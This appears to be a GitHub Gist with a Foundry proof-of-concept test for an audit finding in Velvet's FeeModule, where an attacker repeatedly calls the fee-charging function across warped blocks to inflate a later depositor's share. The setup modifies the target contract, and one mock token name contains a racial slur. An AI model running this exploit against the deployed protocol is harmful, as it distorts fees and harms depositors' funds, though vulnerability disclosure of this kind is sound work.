-
-
Save burhankhaja/adf9a6ad04ee2304a44c6d0327c761d2 to your computer and use it in GitHub Desktop.
high severity bug in velvet's FeeModule.sol `_chargeProtocolAndManagementFee()`
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import "forge-std/Test.sol"; | |
import "src/contracts/core/Portfolio.sol"; | |
import {FunctionParameters} from "src/contracts/FunctionParameters.sol"; | |
import "src/contracts/access/AccessController.sol"; | |
import "src/contracts/config/protocol/ProtocolConfig.sol"; | |
import "src/contracts/config/assetManagement/AssetManagementConfig.sol"; | |
import "src/contracts/core/management/TokenExclusionManager.sol"; | |
import "src/contracts/fee/FeeModule.sol"; | |
import "src/contracts/vault/VelvetSafeModule.sol"; | |
import "@gnosis.pm/zodiac/contracts/interfaces/IAvatar.sol"; // for creating avatar target contract | |
import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; //@note for creating helper portfolio tokens in this file below | |
import {IERC20Upgradeable} from "@openzeppelin/contracts-upgradeable-4.9.6/token/ERC20/IERC20Upgradeable.sol"; | |
import "@gnosis.pm/safe-contracts/contracts/common/Enum.sol"; | |
contract SupplyHack is Test { | |
// uintMax | |
uint256 max_uint = type(uint256).max; | |
// Users | |
address firstDepositor = makeAddr("firt Depositor"); | |
address alice = makeAddr("alice"); | |
address attacker = makeAddr("attacker"); | |
// Access Controller | |
AccessController accessController; | |
address supaAdmin = makeAddr("Access control admin"); | |
// ProtocolConfig | |
ProtocolConfig protocolConfig; | |
address velvetTreasury = makeAddr("velvet treasury"); | |
address oracle = makeAddr("oracle"); | |
//assetmanagementConfig | |
AssetManagementConfig assetManagementConfig; | |
uint256 managementFee = 1_000; // if lesser reverts | |
uint256 performanceFee = 3000; | |
uint256 entryFee = 500; // as per implem | |
uint256 exitFee = 500; // == | |
uint256 initialPortfolioAmount = 1e16; // on first depost this is how much tokens will be minted regardless of the deposit {Implementation : vaultManger.sol#L220} ;;; labeling it as @audit-issue just to notice it while testing deposits | |
// remember it must not be less than minInitialPortfolioAmount = 1e16) otherwise reverts will happen | |
uint256 minPortfolioTokenHoldingAmount = 1e16; //if lesser protocol will throw revert | |
address assetManagerTreasury = makeAddr("Asset manager treasury"); | |
// TokenExclusiveManager | |
TokenExclusionManager tokenExclusionManager; | |
// FeeModule | |
FeeModule feeModule; | |
// velvet safeMoule | |
VelvetSafeModule velvetSafeModule; | |
//portfolio | |
Portfolio portfolio; | |
address vault; | |
// Portfolio Tokens | |
HAT hat; | |
TAO tao; | |
RNT rnt; | |
function setUp() external { | |
// in order to mantain access controller ownership | |
vm.startPrank(supaAdmin); | |
accessController = new AccessController(); | |
vm.stopPrank(); //@audit later don't forget to call setUpRoles() to update roles in protocol | |
//protocolConfig | |
protocolConfig = new ProtocolConfig(); | |
_initProtocolConfig(); | |
//assetmanagementConfig | |
assetManagementConfig = new AssetManagementConfig(); | |
_initAssetManagementConf(); | |
// TokenExclusionManager | |
tokenExclusionManager = new TokenExclusionManager(); | |
_initTokenExclusionManager(); | |
// FeeModule | |
// {{@audit Acknowledge circular dependency b/w feemodule and portfolio that is why later use vm.store in feeModule to store portfolio address}} | |
feeModule = new FeeModule(); | |
_initFeeModule(); | |
// Deploy velvetSafeMoule | |
vm.startPrank(supaAdmin); | |
velvetSafeModule = new VelvetSafeModule(); | |
vm.stopPrank(); | |
//portfolio | |
vm.startPrank(supaAdmin); | |
portfolio = new Portfolio(); | |
vault = address(portfolio); // set vault to same portfolio address | |
_initPortfolio(); | |
vm.stopPrank(); | |
// Portfolio Tokens | |
hat = new HAT(); | |
tao = new TAO(); | |
rnt = new RNT(); | |
//Update portfolio address in feeModule @note cause of circular dependency | |
feeModule.ChangePortfolioAddress(address(portfolio)); | |
//@note update accessController roles setUproles() | |
_initAccessRoleSetup(); | |
// initialize portfolio tokens (HAT, TAO, RNT) | |
_initPortfolioTokens(); | |
// set target and transfer ownership in velvetSafeModule | |
_setTargetAndTransferOwnershipToPortfolio(); | |
} | |
/** ======================================================== | |
Hack Test | |
============================================================*/ | |
// balance == 9500000000000000 (normal case) | |
function test_NormalDeposit() public { | |
console.log( | |
"alice deposits normally just after the initial depositor...." | |
); | |
_summarize_InitialDeposit(); | |
_aliceDeposits(); | |
console.log("portfolio balance of alice: ", portfolio.balanceOf(alice)); | |
} | |
// balance > 9500000000000000 (depends on no of blocks && timestamp difference between them) | |
function test_AfterAttackDeposit() public { | |
console.log( | |
"after the initial deposits, the attacker exploits feeModule and then alice deposits...." | |
); | |
_summarize_InitialDeposit(); | |
_simulateAttacksInDifferentBlocks(); | |
_aliceDeposits(); | |
console.log("portfolio balance of alice: ", portfolio.balanceOf(alice)); | |
console.log("Increase due to attack: ", portfolio.balanceOf(alice) - 9500000000000000); | |
} | |
/** ======================================================== | |
Helper functions | |
============================================================*/ | |
// Attack helpers | |
// @note regardless of the initialdepositor deposit tokens, he will receive constantly initialPortfolioAmount, | |
function _summarize_InitialDeposit() internal { | |
vm.startPrank(firstDepositor); | |
_mint_Approve_ERCS(firstDepositor, 10, 10); | |
uint256[] memory amounts = new uint256[](3); | |
amounts[0] = 10; | |
amounts[1] = 10; | |
amounts[2] = 10; | |
portfolio.multiTokenDepositFor(firstDepositor, amounts, 1e16); | |
vm.stopPrank(); | |
} | |
function _aliceDeposits() internal { | |
vm.startPrank(alice); | |
_mint_Approve_ERCS(alice, 10, 10); //earlier 1000 | |
uint256[] memory amounts = new uint256[](3); | |
amounts[0] = 10; //earlier 100/each | |
amounts[1] = 10; | |
amounts[2] = 10; | |
portfolio.multiTokenDepositFor(alice, amounts, 1e16); | |
vm.stopPrank(); | |
} | |
function _simulateAttacksInDifferentBlocks() internal { | |
vm.startPrank(attacker); | |
uint blocks = 200; | |
for (uint i = 1; i < blocks; i++) { | |
vm.warp(block.timestamp + 50); //@note the gap b/w block.timestamp gives a great deviation in inflation | |
feeModule._chargeProtocolAndManagementFees(); | |
} | |
vm.stopPrank(); | |
} | |
// SETUP helpers | |
function _initProtocolConfig() internal { | |
vm.store(address(protocolConfig), 0, 0); // bypass initializer modifier | |
protocolConfig.initialize(velvetTreasury, oracle); | |
} | |
function _initAssetManagementConf() internal { | |
vm.store(address(assetManagementConfig), 0, 0); // bypass initializer modifier | |
address[] memory whitelistedTokens; | |
FunctionParameters.AssetManagementConfigInitData | |
memory initData = FunctionParameters.AssetManagementConfigInitData({ | |
_managementFee: managementFee, | |
_performanceFee: performanceFee, | |
_entryFee: entryFee, | |
_exitFee: exitFee, | |
_initialPortfolioAmount: initialPortfolioAmount, | |
_minPortfolioTokenHoldingAmount: minPortfolioTokenHoldingAmount, | |
_protocolConfig: address(protocolConfig), | |
_accessController: address(accessController), | |
_assetManagerTreasury: assetManagerTreasury, | |
_whitelistedTokens: whitelistedTokens, | |
_publicPortfolio: true, | |
_transferable: true, | |
_transferableToPublic: true, | |
_whitelistTokens: false | |
}); | |
assetManagementConfig.init(initData); | |
} | |
function _initTokenExclusionManager() internal { | |
vm.store(address(tokenExclusionManager), 0, 0); // bypass initializer | |
tokenExclusionManager.init( | |
address(accessController), | |
address(protocolConfig) | |
); | |
} | |
function _initFeeModule() internal { | |
vm.store(address(feeModule), 0, 0); | |
address tempPortfolioAddress = makeAddr("temp portfolio address"); //@note because of circular dependency b/w portfolio and feemodule | |
feeModule.init( | |
tempPortfolioAddress, | |
address(assetManagementConfig), | |
address(protocolConfig), | |
address(accessController) | |
); | |
} | |
function _initPortfolio() internal { | |
vm.store(address(portfolio), 0, 0); | |
FunctionParameters.PortfolioInitData | |
memory initData = FunctionParameters.PortfolioInitData({ | |
_name: "what time is it", | |
_symbol: "WTIT", | |
_vault: vault, | |
_module: address(velvetSafeModule), | |
_tokenExclusionManager: address(tokenExclusionManager), | |
_accessController: address(accessController), | |
_protocolConfig: address(protocolConfig), | |
_assetManagementConfig: address(assetManagementConfig), | |
_feeModule: address(feeModule) | |
}); | |
portfolio.init(initData); | |
} | |
// feeModule's slot-251 stores portfolio address : {forge inspect src/contracts/fee/FeeModule.sol:FeeModule storage --pretty} | |
//@issue there was something wrong about this function breaking, didn't update correctly portfolio address | |
//@note i've address extra external ChangePortfolioAddress() function in feemodule that allows to update porfolio | |
function _reInitPortfolioAddressInFeeModule() internal { | |
bytes memory tempdata = abi.encodePacked(address(portfolio)); | |
bytes32 portfolioAddress = bytes32(tempdata); | |
// vm.store(address(feeModule), 251, /*portfolioAddress*/ 0); | |
vm.store(address(feeModule), bytes32(uint(251)), portfolioAddress); | |
} | |
function _initAccessRoleSetup() internal { | |
//@note that for the initial Hack POc we don't need rebalancing contract that is why using temp | |
address t_Rebalancing = makeAddr("Temporary Rebalancing contract"); | |
FunctionParameters.AccessSetup memory _setupData = FunctionParameters | |
.AccessSetup({ | |
_portfolio: address(portfolio), | |
_portfolioCreator: supaAdmin, | |
_rebalancing: t_Rebalancing, | |
_feeModule: address(feeModule) | |
}); | |
vm.startPrank(supaAdmin); | |
accessController.setUpRoles(_setupData); | |
vm.stopPrank(); | |
} | |
function _initPortfolioTokens() internal { | |
address[] memory _tokens = new address[](3); | |
_tokens[0] = address(hat); | |
_tokens[1] = address(tao); | |
_tokens[2] = address(rnt); | |
vm.startPrank(supaAdmin); | |
portfolio.initToken(_tokens); | |
vm.stopPrank(); | |
} | |
// TOKENS helpers | |
function _mint_Approve_ERCS( | |
address user, | |
uint _mintAmount, | |
uint _approveAmount | |
) internal { | |
// Mint N tokens | |
hat.mint(user, _mintAmount); | |
tao.mint(user, _mintAmount); | |
rnt.mint(user, _mintAmount); | |
// Appove Portfolio M tokens | |
hat.approve(address(portfolio), _approveAmount); | |
tao.approve(address(portfolio), _approveAmount); | |
rnt.approve(address(portfolio), _approveAmount); | |
} | |
//====================================================================================== | |
// ADDING AVATAR FUNCTIONALITY TO TESTING CONTRACT | |
// ============================================================ | |
function execTransactionFromModuleReturnData( | |
address _token, | |
uint256 value, | |
bytes calldata data, // if memory the decoding won't work properly | |
Enum.Operation operation | |
) public returns (bool success, bytes memory returnData) { | |
vm.startPrank(address(portfolio)); | |
(address _to, uint256 _amount) = abi.decode( | |
data[4:], | |
(address, uint256) | |
); | |
ERC20(_token).transfer(_to, _amount); | |
vm.stopPrank(); | |
success = true; | |
// returnData --> length == 0 --> passes checks | |
} | |
//@note set testing contract as avatar | |
function testingContract() public view returns (address) { | |
return address(this); | |
} | |
function _setTargetAndTransferOwnershipToPortfolio() internal { | |
vm.startPrank(velvetSafeModule.owner()); // although 0 address right now but doesn't matter, causing we transferring roles | |
velvetSafeModule.setTarget(testingContract()); // this address | |
velvetSafeModule.transferOwnership(address(portfolio)); | |
vm.stopPrank(); | |
} | |
} | |
// HAT, TAO, RNT | |
contract HAT is ERC20 { | |
constructor() ERC20("hats.finance", "$HAT") {} | |
//@notice Helper Mint function | |
function mint(address _to, uint _amount) public { | |
_mint(_to, _amount); | |
} | |
} | |
contract TAO is ERC20 { | |
constructor() ERC20("TaoMo", "$TAO") {} | |
//@notice Helper Mint function | |
function mint(address _to, uint _amount) public { | |
_mint(_to, _amount); | |
} | |
} | |
contract RNT is ERC20 { | |
constructor() ERC20("Real.Nigga.tate", "$RNT") {} | |
//@notice Helper Mint function | |
function mint(address _to, uint _amount) public { | |
_mint(_to, _amount); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment